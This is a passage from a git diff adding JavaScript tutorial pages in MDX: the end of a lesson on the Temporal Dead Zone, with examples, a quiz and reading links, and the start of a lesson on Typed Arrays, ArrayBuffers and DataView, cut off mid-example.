initialization + + let x = 10 // TDZ for 'x' ends here + + console.log(x) // 10 (works fine) +} +``` + +The TDZ applies to: +- `let` declarations +- `const` declarations +- `class` declarations +- Function default parameters (in certain cases) +- Static class fields + +--- + +## The Restaurant Reservation Analogy + +Think of the TDZ like a restaurant reservation system. + +When you make a reservation, your table is **reserved** from the moment you call. The table exists, it has your name on it, but you can't sit there yet. If you show up early and try to sit down, the host will stop you: "Sorry, your table isn't ready." + +The table becomes available only when your reservation time arrives. Then you can sit, order, and enjoy your meal. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE TEMPORAL DEAD ZONE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ { // You enter the restaurant (scope begins) │ +│ │ +│ ┌──────────────────────────────────────────────┐ │ +│ │ TEMPORAL DEAD ZONE FOR 'x' │ │ +│ │ │ │ +│ │ Table reserved, but NOT ready yet │ │ +│ │ │ │ +│ │ console.log(x); // "Table isn't ready!" │ │ +│ │ // ReferenceError │ │ +│ │ │ │ +│ └──────────────────────────────────────────────┘ │ +│ │ +│ let x = 10; // Reservation time! Table is ready. │ +│ │ +│ console.log(x); // "Here's your table!" → 10 │ +│ │ +│ } │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Variables in the TDZ are like reserved tables: they exist, JavaScript knows about them, but they're not ready for use yet. + +--- + +## TDZ vs var Hoisting + +Both `var` and `let`/`const` are **hoisted**, meaning JavaScript knows about them before code execution. The difference is in **initialization**: + +| Aspect | `var` | `let` / `const` | +|--------|-------|-----------------| +| Hoisted? | Yes | Yes | +| Initialized at hoisting? | Yes, to `undefined` | No (remains uninitialized) | +| Access before declaration? | Returns `undefined` | Throws `ReferenceError` | +| Has TDZ? | No | Yes | + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ var vs let/const HOISTING │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ VAR: Hoisted + Initialized LET/CONST: Hoisted Only │ +│ ────────────────────────── ──────────────────────── │ +│ │ +│ ┌─────────────────────┐ ┌─────────────────────┐ │ +│ │ // JS does this: │ │ // JS does this: │ │ +│ │ var x = undefined │ ← ready │ let y (uninitialized)│ ← TDZ │ +│ └─────────────────────┘ └─────────────────────┘ │ +│ │ │ │ +│ ▼ ▼ │ +│ console.log(x) // undefined console.log(y) // Error! │ +│ │ │ │ +│ ▼ ▼ │ +│ var x = 10 // reassignment let y = 10 // initialization │ +│ │ │ │ +│ ▼ ▼ │ +│ console.log(x) // 10 console.log(y) // 10 │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Here's the behavior in code: + +```javascript +function varExample() { + console.log(x) // undefined (not an error!) + var x = 10 + console.log(x) // 10 +} + +function letExample() { + console.log(y) // ReferenceError: Cannot access 'y' before initialization + let y = 10 + console.log(y) // never reaches here +} +``` + +--- + +## Why "Temporal"? + +The word "temporal" means **related to time**. The TDZ is "temporal" because it depends on **when code executes**, not where it appears in the source. + +This is a subtle but important distinction. Look at this example: + +```javascript +{ + // TDZ for 'x' starts here + + const getX = () => x // This function references x + + let x = 42 // TDZ ends here + + console.log(getX()) // 42 - works! +} +``` + +Wait, the function `getX` is defined *before* `x` is initialized. Why doesn't it throw an error? + +Because the TDZ is about **execution time**, not **definition time**: + +1. The function `getX` is **defined** during the TDZ, but that's fine +2. The function `getX` is **called** after `x` is initialized +3. When `getX()` runs, `x` is already available + +The TDZ only matters when you actually try to **access** the variable. Defining a function that *will* access it later is perfectly safe. + +```javascript +{ + const getX = () => x // OK: just defining, not accessing + + getX() // ReferenceError! Calling during TDZ + + let x = 42 + + getX() // 42 - now it works +} +``` + +--- + +## What Creates a TDZ? + +<AccordionGroup> + <Accordion title="let declarations"> + Every `let` declaration creates a TDZ from the start of its block until the declaration: + + ```javascript + { + // TDZ starts + console.log(x) // ReferenceError + let x = 10 // TDZ ends + console.log(x) // 10 + } + ``` + </Accordion> + + <Accordion title="const declarations"> + Same behavior as `let`, but `const` must also be initialized at declaration: + + ```javascript + { + // TDZ starts + console.log(PI) // ReferenceError + const PI = 3.14159 // TDZ ends + console.log(PI) // 3.14159 + } + ``` + </Accordion> + + <Accordion title="class declarations"> + Classes behave like `let` and `const`. You can't use a class before its declaration: + + ```javascript + const instance = new MyClass() // ReferenceError + + class MyClass { + constructor() { + this.value = 42 + } + } + + const instance2 = new MyClass() // Works fine + ``` + + This applies to class expressions too when assigned to `let` or `const`. + </Accordion> + + <Accordion title="Function default parameters"> + Default parameters have their own TDZ rules. Later parameters can reference earlier ones, but not vice versa: + + ```javascript + // Works: b can reference a + function example(a = 1, b = a + 1) { + return a + b // 1 + 2 = 3 + } + + // Fails: a cannot reference b (TDZ!) + function broken(a = b, b = 2) { + return a + b // ReferenceError + } + ``` + </Accordion> + + <Accordion title="Static class fields"> + Static fields are initialized in order. Later fields can reference earlier ones, but referencing later fields returns `undefined` (not TDZ, since it's property access): + + ```javascript + class Config { + static baseUrl = "https://api.example.com" + static apiUrl = Config.baseUrl + "/v1" // Works + } + + class Example { + static first = Example.second // undefined (property doesn't exist yet) + static second = 10 + } + // Example.first is undefined, Example.second is 10 + ``` + + However, the class itself is in TDZ before its declaration: + + ```javascript + const x = MyClass.value // ReferenceError: MyClass is in TDZ + class MyClass { + static value = 10 + } + ``` + </Accordion> +</AccordionGroup> + +--- + +## TDZ with typeof + +Here's a tricky edge case. The `typeof` operator is normally "safe" to use with undeclared variables: + +```javascript +console.log(typeof undeclaredVar) // "undefined" (no error) +``` + +But `typeof` throws a ReferenceError when used on a TDZ variable: + +```javascript +{ + console.log(typeof x) // ReferenceError: Cannot access 'x' before initialization + let x = 10 +} +``` + +This catches developers off guard because `typeof` is often used for "safe" variable checking. With `let` and `const`, that safety doesn't apply during the TDZ. + +<Tip> +**Rule of Thumb:** If you need to check whether a variable exists, don't rely on `typeof` alone. Structure your code so variables are declared before you need to check them. +</Tip> + +--- + +## TDZ in Destructuring + +Destructuring follows the same left-to-right evaluation as default parameters: + +```javascript +// Works: b can use a's default +let { a = 1, b = a + 1 } = {} +console.log(a, b) // 1, 2 + +// Fails: a cannot use b (TDZ!) +let { a = b, b = 1 } = {} // ReferenceError +``` + +Self-referencing is also a TDZ error: + +```javascript +let { x = x } = {} // ReferenceError: Cannot access 'x' before initialization +``` + +The `x` on the right side of `=` refers to the `x` being declared, which is still in the TDZ. + +--- + +## TDZ in Loops + +### for...of and for...in Self-Reference + +The loop variable is in TDZ during header evaluation: + +```javascript +// This throws because 'n' is used in its own declaration +for (let n of n.values) { // ReferenceError + console.log(n) +} +``` + +### Fresh Bindings Per Iteration + +A key `let` behavior in loops: each iteration gets a **fresh binding**: + +```javascript +const funcs = [] + +for (let i = 0; i < 3; i++) { + funcs.push(() => i) +} + +console.log(funcs[0]()) // 0 +console.log(funcs[1]()) // 1 +console.log(funcs[2]()) // 2 +``` + +With `var`, all closures share the same variable: + +```javascript +const funcs = [] + +for (var i = 0; i < 3; i++) { + funcs.push(() => i) +} + +console.log(funcs[0]()) // 3 +console.log(funcs[1]()) // 3 +console.log(funcs[2]()) // 3 +``` + +This fresh binding is why `let` in loops avoids the classic closure trap. + +--- + +## TDZ in ES Module Circular Imports + +ES modules can import each other in a circle. When this happens, TDZ can cause runtime errors that are hard to debug. + +### The Problem + +```javascript +// -- a.js (entry point) -- +import { b } from "./b.js" + +console.log("a.js: b =", b) // 1 + +export const a = 2 +``` + +```javascript +// -- b.js -- +import { a } from "./a.js" + +console.log("b.js: a =", a) // ReferenceError! + +export const b = 1 +``` + +### What Happens + +<Steps> + <Step title="Start executing a.js"> + JavaScript begins running the entry module + </Step> + <Step title="Pause for import"> + It sees `import { b } from "./b.js"` and pauses `a.js` to load the dependency + </Step> + <Step title="Execute b.js"> + JavaScript loads and starts executing `b.js` + </Step> + <Step title="Create binding to a"> + In `b.js`, the `import { a }` creates a binding to `a`, but `a.js` hasn't exported it yet + </Step> + <Step title="Access a in TDZ"> + When `b.js` tries to `console.log(a)`, the variable `a` is still in TDZ (not yet initialized) + </Step> + <Step title="ReferenceError!"> + The TDZ violation throws an error, crashing the application + </Step> +</Steps> + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ ES MODULE CIRCULAR IMPORT TDZ │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ EXECUTION ORDER │ +│ ─────────────── │ +│ │ +│ 1. Start a.js │ +│ │ │ +│ ▼ │ +│ 2. import { b } from "./b.js" ──────┐ │ +│ [a.js pauses, a not yet exported] │ │ +│ ▼ │ +│ 3. Start b.js │ +│ │ │ +│ ▼ │ +│ 4. import { a } from "./a.js" │ +│ [a exists but in TDZ!] │ +│ │ │ +│ ▼ │ +│ 5. console.log(a) │ +│ │ │ +│ ▼ │ +│ ReferenceError! │ +│ a is in TDZ │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Solutions + +**Solution 1: Lazy Access** + +Don't access the imported value at the top level. Access it inside a function that runs later: + +```javascript +// -- b.js (fixed) -- +import { a } from "./a.js" + +// Don't access 'a' immediately +export const b = 1 + +// Access 'a' later, when it's definitely initialized +export function getA() { + return a +} +``` + +**Solution 2: Restructure Modules** + +Break the circular dependency by extracting shared code: + +```javascript +// -- shared.js -- +export const a = 2 +export const b = 1 + +// -- a.js -- +import { a, b } from "./shared.js" + +// -- b.js -- +import { a, b } from "./shared.js" +``` + +**Solution 3: Dynamic Import** + +Use `import()` to defer loading: + +```javascript +// -- b.js -- +export const b = 1 + +export async function getA() { + const { a } = await import("./a.js") + return a +} +``` + +<Warning> +**Circular Import Debugging Tip:** If you see a `ReferenceError` for an imported value that you *know* exists, check for circular imports. The error message "Cannot access 'X' before initialization" is the telltale sign of TDZ in modules. +</Warning> + +--- + +## The #1 TDZ Mistake: Shadowing + +The most common TDZ trap involves variable shadowing: + +```javascript +// ❌ WRONG - Shadowing creates a TDZ trap +const x = 10 + +function example() { + console.log(x) // ReferenceError! Inner x is in TDZ + let x = 20 // This shadows the outer x + return x +} + +example() // ReferenceError! +``` + +The inner `let x` shadows the outer `const x`. When you try to read `x` before the inner declaration, JavaScript sees you're trying to access the inner `x` (which is in TDZ), not the outer one. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ TDZ SHADOWING TRAP │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ WRONG RIGHT │ +│ ───── ───── │ +│ │ +│ const x = 10 const x = 10 │ +│ │ +│ function broken() { function fixed() { │ +│ console.log(x) // TDZ Error! const outer = x // 10 │ +│ let x = 20 let y = 20 // different name│ +│ return x return outer + y │ +│ } } │ +│ │ +│ // The inner x shadows the outer // No shadowing, no TDZ trap │ +│ // but inner x is in TDZ at log │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### How to Avoid It + +1. **Use different variable names** if you need both the outer and inner values +2. **Capture the outer value first** before declaring the inner variable +3. **Structure code so declarations come before usage** + +```javascript +// ✓ CORRECT - Capture outer value before shadowing +const x = 10 + +function fixed() { + const outerX = x // Capture outer x first + let y = 20 // Use different name, no shadowing + return outerX + y // Use both: 10 + 20 = 30 +} +``` + +--- + +## Why Does TDZ Exist? + +TDZ might seem like an annoyance, but it exists for good reasons: + +### 1. Catches Bugs Early + +With `var`, using a variable before initialization silently gives you `undefined`: + +```javascript +function calculateTotal() { + var total = price * quantity // undefined * undefined = NaN + var price = 10 + var quantity = 5 + return total +} + +console.log(calculateTotal()) // NaN - silent bug! +``` + +With `let`/`const`, the bug is caught immediately: + +```javascript +function calculateTotal() { + let total = price * quantity // ReferenceError! + let price = 10 + let quantity = 5 + return total +} +``` + +### 2. Makes const Semantically Meaningful + +If `const` didn't have a TDZ, you could observe it in an "undefined" state: + +```javascript +// Hypothetically, without TDZ: +console.log(PI) // undefined (?) +const PI = 3.14159 +``` + +That contradicts the purpose of `const`. A constant should always have its declared value. The TDZ ensures you can never see a `const` before it has its assigned value. + +### 3. Prevents Reference Before Definition + +In languages without TDZ-like behavior, you can accidentally use variables in confusing ways: + +```javascript +function setup() { + initialize(config) // Uses config before it's defined + const config = loadConfig() +} +``` + +The TDZ forces you to organize code logically: definitions before usage. + +### 4. Makes Refactoring Safer + +When you move code around, TDZ helps catch mistakes: + +```javascript +// Original +let data = fetchData() +processData(data) + +// After refactoring (accidentally moved) +processData(data) // ReferenceError - you'll notice immediately! +let data = fetchData() +``` + +<Tip> +**Think of TDZ as your friend.** It's JavaScript telling you "Hey, you're trying to use something that isn't ready yet. Fix your code structure!" +</Tip> + +--- + +## Key Takeaways + +<Info> +**The key things to remember about the Temporal Dead Zone:** + +1. **TDZ = the time between scope entry and variable initialization.** During this period, the variable exists but throws `ReferenceError` when accessed. + +2. **`let`, `const`, and `class` have TDZ. `var` does not.** The `var` keyword initializes to `undefined` immediately, so there's no dead zone. + +3. **"Temporal" means time, not position.** A function can reference a TDZ variable if it's called after initialization, even if it's defined before. + +4. **`typeof` is not safe in TDZ.** Unlike undeclared variables, `typeof` on a TDZ variable throws `ReferenceError`. + +5. **Default parameters have TDZ rules.** Later parameters can reference earlier ones, but not vice versa. + +6. **Circular ES module imports can trigger TDZ.** If module A imports from B while B imports from A, one will see uninitialized exports. + +7. **Shadowing + TDZ = common trap.** When you declare a variable that shadows an outer one, the outer variable becomes inaccessible from the TDZ start. + +8. **TDZ catches bugs early.** It prevents silent `undefined` values from causing hard-to-debug issues. + +9. **TDZ makes `const` meaningful.** Constants never have a temporary "undefined" state. + +10. **Structure code with declarations first.** This is the simplest way to avoid TDZ issues entirely. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What is the Temporal Dead Zone?"> + **Answer:** + + The Temporal Dead Zone (TDZ) is the period between entering a scope and the point where a variable declared with `let`, `const`, or `class` is initialized. During this period, the variable exists (it's been hoisted) but cannot be accessed. Any attempt to read or write to it throws a `ReferenceError`. + + ```javascript + { + // TDZ starts here for 'x' + console.log(x) // ReferenceError + let x = 10 // TDZ ends here + console.log(x) // 10 + } + ``` + </Accordion> + + <Accordion title="Question 2: What's the difference between TDZ and var hoisting?"> + **Answer:** + + Both `var` and `let`/`const` are hoisted, but they differ in initialization: + + - **`var`**: Hoisted AND initialized to `undefined`. No TDZ. + - **`let`/`const`**: Hoisted but NOT initialized. TDZ until declaration. + + ```javascript + console.log(x) // undefined (var is initialized) + var x = 10 + + console.log(y) // ReferenceError (let is in TDZ) + let y = 10 + ``` + </Accordion> + + <Accordion title="Question 3: Why does typeof throw in TDZ but not for undeclared variables?"> + **Answer:** + + For **undeclared** variables, `typeof` returns `"undefined"` as a safety feature. For **TDZ** variables, JavaScript knows the variable exists (it's been hoisted), so it enforces the TDZ restriction. + + ```javascript + console.log(typeof undeclared) // "undefined" (safe) + + { + console.log(typeof x) // ReferenceError (TDZ enforced) + let x = 10 + } + ``` + + The difference is: undeclared means "doesn't exist," while TDZ means "exists but not ready." + </Accordion> + + <Accordion title="Question 4: Can a function reference a TDZ variable?"> + **Answer:** + + **Yes, but only if the function is called after the variable is initialized.** Defining the function during TDZ is fine. Calling it during TDZ throws an error. + + ```javascript + { + const getX = () => x // OK: defining, not accessing + + // getX() // Would throw: x is in TDZ + + let x = 42 // TDZ ends + + console.log(getX()) // 42: called after TDZ + } + ``` + + This is why it's called "temporal" (time-based), not "positional" (code-position-based). + </Accordion> + + <Accordion title="Question 5: What happens with let x = x?"> + **Answer:** + + It throws a `ReferenceError`. The `x` on the right side refers to the `x` being declared, which is still in TDZ at the time of evaluation. + + ```javascript + let x = x // ReferenceError: Cannot access 'x' before initialization + ``` + + This also applies in destructuring: + + ```javascript + let { x = x } = {} // ReferenceError + ``` + </Accordion> + + <Accordion title="Question 6: Why does TDZ exist?"> + **Answer:** + + TDZ exists for several reasons: + + 1. **Catch bugs early**: Using uninitialized variables throws immediately instead of silently returning `undefined` + + 2. **Make `const` meaningful**: Constants should always have their declared value, never a temporary `undefined` + + 3. **Enforce logical code structure**: Encourages declaring variables before using them + + 4. **Safer refactoring**: Moving code around reveals dependency issues immediately + + ```javascript + // Without TDZ (var), this bug is silent: + var total = price * quantity // NaN + var price = 10 + var quantity = 5 + + // With TDZ (let), the bug is caught: + let total = price * quantity // ReferenceError! + let price = 10 + let quantity = 5 + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> + The foundation for understanding TDZ: how JavaScript determines variable visibility + </Card> + <Card title="Hoisting" icon="arrow-up" href="/beyond/concepts/hoisting"> + How JavaScript moves declarations to the top of their scope + </Card> + <Card title="ES Modules" icon="boxes-stacked" href="/concepts/es-modules"> + How TDZ interacts with circular module imports + </Card> + <Card title="Strict Mode" icon="shield" href="/beyond/concepts/strict-mode"> + Another feature that helps catch errors early + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="let — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"> + Official documentation covering TDZ behavior for let declarations + </Card> + <Card title="const — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"> + How const declarations interact with the Temporal Dead Zone + </Card> + <Card title="class — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class"> + Class declarations and their TDZ behavior + </Card> + <Card title="ReferenceError — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError"> + The error thrown when accessing TDZ variables + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="ES6 In Depth: let and const — Mozilla Hacks" icon="newspaper" href="https://hacks.mozilla.org/2015/07/es6-in-depth-let-and-const/"> + Historical context from Mozilla engineers on why TDZ was introduced. Explains the design decisions behind let and const. + </Card> + <Card title="What is the Temporal Dead Zone? — Stack Overflow" icon="newspaper" href="https://stackoverflow.com/questions/33198849/what-is-the-temporal-dead-zone"> + The canonical community explanation with examples and edge cases discussed by experienced developers. + </Card> + <Card title="You Don't Know JS: Scope & Closures — Kyle Simpson" icon="newspaper" href="https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/scope-closures/ch5.md"> + Deep dive into variable lifecycle and TDZ from the popular book series. Free to read on GitHub. + </Card> + <Card title="JavaScript Variables: var, let, and const — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/"> + Beginner-friendly comparison of all three declaration types with clear TDZ examples. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="let & const in JS: Temporal Dead Zone — Akshay Saini" icon="video" href="https://www.youtube.com/watch?v=BNC6slYCj50"> + Visual explanation of TDZ with diagrams showing exactly when variables become accessible. Part of the popular Namaste JavaScript series. + </Card> + <Card title="var, let and const — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=9WIJQDvt4Us"> + Clear comparison of all three declaration types in under 10 minutes. Great for beginners who want a quick overview. + </Card> +</CardGroup> + +--- + +<Card title="Back to Overview" icon="arrow-left" href="/beyond/getting-started/overview"> + Return to the Beyond 33 overview +</Card> diff --git a/docs/beyond/concepts/typed-arrays-arraybuffers.mdx b/docs/beyond/concepts/typed-arrays-arraybuffers.mdx new file mode 100644 index 00000000..87f89606 --- /dev/null +++ b/docs/beyond/concepts/typed-arrays-arraybuffers.mdx @@ -0,0 +1,770 @@ +--- +title: "Typed Arrays: Working with Binary Data in JavaScript" +sidebarTitle: "Typed Arrays & ArrayBuffers" +description: "Learn JavaScript Typed Arrays and ArrayBuffers. Understand binary data handling, DataView, working with WebGL, file processing, and network protocol implementation." +--- + +How do you process a PNG image pixel by pixel? How do you read binary data from a WebSocket? How does WebGL render millions of triangles efficiently? + +Regular JavaScript arrays can't handle these jobs. They're designed for flexibility, not raw performance. When you need to work with **binary data** — raw bytes, pixels, audio samples, network packets — you need **Typed Arrays** and **ArrayBuffers**. + +```javascript +// Create a buffer of 16 bytes +const buffer = new ArrayBuffer(16) + +// View the buffer as 4 32-bit integers +const int32View = new Uint32Array(buffer) +int32View[0] = 42 +int32View[1] = 1337 + +console.log(int32View[0]) // 42 +console.log(int32View.length) // 4 (4 integers × 4 bytes = 16 bytes) +console.log(int32View.byteLength) // 16 +``` + +Typed Arrays provide a way to work with raw binary data in memory buffers, giving you the performance of low-level languages while staying in JavaScript. + +<Info> +**What you'll learn in this guide:** +- What ArrayBuffers and Typed Arrays are and when to use them +- How to create and manipulate binary data with different views +- The difference between Typed Arrays and regular arrays +- How DataView works for mixed-format binary data +- Real-world use cases: file handling, WebGL, audio processing +- Common mistakes when working with binary data +</Info> + +<Warning> +**Prerequisite:** This guide assumes basic JavaScript knowledge. Familiarity with [binary and hexadecimal numbers](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates) helps but isn't required. +</Warning> + +--- + +## The Filing Cabinet Analogy + +Think of an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) like a filing cabinet with a fixed number of drawers (bytes). The cabinet itself doesn't know what's inside the drawers. It just reserves the space. + +A [Typed Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) is like a set of instructions for reading the cabinet. "Read drawers 1-4 as a single 32-bit integer" or "Read each drawer as a separate 8-bit value." + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ ARRAYBUFFER: RAW MEMORY STORAGE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ArrayBuffer (16 bytes of raw binary data) │ +│ ┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐ +│ │ 00 │ 01 │ 02 │ 03 │ 04 │ 05 │ 06 │ 07 │ 08 │ 09 │ 10 │ 11 │ 12 │ 13 │ 14 │ 15 │ +│ └────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘ +│ ▲ │ +│ │ Cannot access directly! Need a "view" │ +│ │ │ +│ ───┴────────────────────────────────────────────────────────────── │ +│ │ +│ Uint8Array view (16 × 8-bit values): │ +│ ┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐ +│ │ 0 │ 1 │ 2 │ 3 │ 4 │ 5 │ 6 │ 7 │ 8 │ 9 │ 10 │ 11 │ 12 │ 13 │ 14 │ 15 │ +│ └────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘ +│ │ +│ Uint32Array view (4 × 32-bit values): │ +│ ┌─────────────────┬─────────────────┬─────────────────┬─────────────────┐ +│ │ 0 │ 1 │ 2 │ 3 │ +│ └─────────────────┴─────────────────┴─────────────────┴─────────────────┘ +│ │ +│ Same data, different interpretations! │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +The key insight: **one buffer, many views**. The same bytes can be interpreted as 16 separate bytes, 8 16-bit numbers, 4 32-bit numbers, or 2 64-bit numbers. This is why typed arrays are so important for [memory-efficient programming](/beyond/concepts/memory-management). + +--- + +## What is an ArrayBuffer? + +An **[ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)** is a fixed-length container of raw binary data. It's a contiguous block of memory, measured in bytes. You can't read or write to an ArrayBuffer directly. It just holds the raw bytes. + +```javascript +// Create an ArrayBuffer with 16 bytes +const buffer = new ArrayBuffer(16) + +console.log(buffer.byteLength) // 16 + +// You can't access bytes directly +console.log(buffer[0]) // undefined - this doesn't work! +``` + +ArrayBuffers support a few key operations: + +- **Allocate**: Create a buffer of a specific size, initialized to zeros +- **Slice**: Copy a portion of the buffer to a new ArrayBuffer +- **Transfer**: Move ownership to a new buffer (advanced) +- **Resize**: Change the size of a resizable buffer (advanced) + +```javascript +// Create a buffer +const original = new ArrayBuffer(16) + +// Slice creates a copy of bytes 4-8 +const sliced = original.slice(4, 8) +console.log(sliced.byteLength) // 4 +``` + +To actually read or write data, you need a **view**. + +--- + +## Typed Arrays: Views Into the Buffer + +A **Typed Array** is a view that interprets the bytes in an ArrayBuffer as numbers of a specific type. JavaScript provides several typed array classes, each handling different numeric formats. + +### Available Typed Array Types + +| Type | Bytes | Range | Description | +|------|-------|-------|-------------| +| `Int8Array` | 1 | -128 to 127 | Signed 8-bit integer | +| `Uint8Array` | 1 | 0 to 255 | Unsigned 8-bit integer | +| `Uint8ClampedArray` | 1 | 0 to 255 | Clamped unsigned 8-bit (for canvas) | +| `Int16Array` | 2 | -32,768 to 32,767 | Signed 16-bit integer | +| `Uint16Array` | 2 | 0 to 65,535 | Unsigned 16-bit integer | +| `Int32Array` | 4 | -2³¹ to 2³¹-1 | Signed 32-bit integer | +| `Uint32Array` | 4 | 0 to 2³²-1 | Unsigned 32-bit integer | +| `Float32Array` | 4 | ±3.4×10³⁸ | 32-bit floating point | +| `Float64Array` | 8 | ±1.8×10³⁰⁸ | 64-bit floating point (like JS numbers) | +| `BigInt64Array` | 8 | -2⁶³ to 2⁶³-1 | Signed 64-bit BigInt | +| `BigUint64Array` | 8 | 0 to 2⁶⁴-1 | Unsigned 64-bit BigInt | + +### Creating Typed Arrays + +There are several ways to create a typed array: + +<Tabs> + <Tab title="From Length"> + ```javascript + // Create a typed array with 4 elements + // Automatically creates an ArrayBuffer + const uint8 = new Uint8Array(4) + + console.log(uint8.length) // 4 elements + console.log(uint8.byteLength) // 4 bytes + console.log(uint8[0]) // 0 (initialized to zero) + ``` + </Tab> + <Tab title="From Array"> + ```javascript + // Create from a regular array + const uint8 = new Uint8Array([10, 20, 30, 40]) + + console.log(uint8[0]) // 10 + console.log(uint8[1]) // 20 + console.log(uint8.length) // 4 + ``` + </Tab> + <Tab title="From Buffer"> + ```javascript + // Create a buffer first + const buffer = new ArrayBuffer(8) + + // Create a view over the entire buffer + const int32 = new Int32Array(buffer) + console.log(int32.length) // 2 (8 bytes / 4 bytes per int32) + + // Create a view over part of the buffer + const int16 = new Int16Array(buffer, 4) // Start at byte 4 + console.log(int16.length) // 2 (4 remaining bytes / 2 bytes per int16) + ``` + </Tab> + <Tab title="From Another Typed Array"> + ```javascript + // Create from another typed array (copies values) + const original = new Uint16Array([1000, 2000]) + const copy = new Uint8Array(original) + + console.log(copy[0]) // 232 (1000 truncated to 8 bits) + console.log(copy[1]) // 208 (2000 truncated to 8 bits) + ``` + </Tab> +</Tabs> + +### Using Typed Arrays + +Typed arrays work like regular arrays for most operations: + +```javascript +const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) + +// Access elements like regular arrays +console.log(numbers[0]) // 1.5 +console.log(numbers.length) // 4 + +// Iterate with for...of +for (const num of numbers) { + console.log(num) // 1.5, 2.5, 3.5, 4.5 +} + +// Use map, filter, reduce, etc. +const doubled = numbers.map(x => x * 2) +console.log([...doubled]) // [3, 5, 7, 9] + +const sum = numbers.reduce((a, b) => a + b, 0) +console.log(sum) // 12 +``` + +<Note> +**Key difference from regular arrays:** Typed arrays have a **fixed length**. You can't use `push()`, `pop()`, `shift()`, `unshift()`, or `splice()` to change their size. They also don't have `concat()` or `flat()`. +</Note> + +--- + +## Multiple Views on the Same Buffer + +Here's where things get powerful. You can create multiple views on the same ArrayBuffer, interpreting the same bytes in different ways: + +```javascript +const buffer = new ArrayBuffer(4) + +// View as 4 separate bytes +const bytes = new Uint8Array(buffer) +bytes[0] = 0x12 +bytes[1] = 0x34 +bytes[2] = 0x56 +bytes[3] = 0x78 + +// View the same bytes as a single 32-bit integer +const int32 = new Uint32Array(buffer) +console.log(int32[0].toString(16)) // "78563412" (little-endian!) + +// View as two 16-bit integers +const int16 = new Uint16Array(buffer) +console.log(int16[0].toString(16)) // "3412" +console.log(int16[1].toString(16)) // "7856" +``` + +<Warning> +**Watch out for endianness!** Most systems are little-endian, meaning the least significant byte comes first in memory. This is why `0x12345678` stored byte-by-byte appears reversed when read as a 32-bit integer. +</Warning> + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ LITTLE-ENDIAN BYTE ORDER │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ Memory layout (bytes): [0x12] [0x34] [0x56] [0x78] │ +│ byte0 byte1 byte2 byte3 │ +│ │ +│ Read as Uint32Array: 0x78563412 │ +│ ▲ │ +│ │ Least significant byte first! │ +│ │ +│ Read as Uint16Array: 0x3412, 0x7856 │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## DataView: Fine-Grained Control + +[DataView](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView) provides more flexible access to buffer data. Unlike typed arrays, DataView lets you read any type at any offset, and control byte order explicitly. + +```javascript +const buffer = new ArrayBuffer(12) +const view = new DataView(buffer) + +// Write different types at specific offsets +view.setUint8(0, 255) // 1 byte at offset 0 +view.setUint16(1, 1000, true) // 2 bytes at offset 1 (little-endian) +view.setFloat32(3, 3.14, true) // 4 bytes at offset 3 (little-endian) +view.setUint32(7, 42, true) // 4 bytes at offset 7 (little-endian) + +// Read them back +console.log(view.getUint8(0)) // 255 +console.log(view.getUint16(1, true)) // 1000 +console.log(view.getFloat32(3, true)) // 3.140000104904175 (float precision) +console.log(view.getUint32(7, true)) // 42 +``` + +### When to Use DataView vs Typed Arrays + +| Use Case | Best Choice | Why | +|----------|-------------|-----| +| Homogeneous data (all same type) | Typed Array | Faster, simpler syntax | +| Mixed data types | DataView | Can read different types at any offset | +| Network protocols | DataView | Often need explicit endianness control | +| Image pixels (RGBA) | Uint8Array or Uint8ClampedArray | All bytes, same format | +| Audio samples | Float32Array | All floats, same format | +| Binary file parsing | DataView | Headers have mixed types | + +### DataView Methods + +DataView provides getter and setter methods for each type: + +```javascript +const dv = new 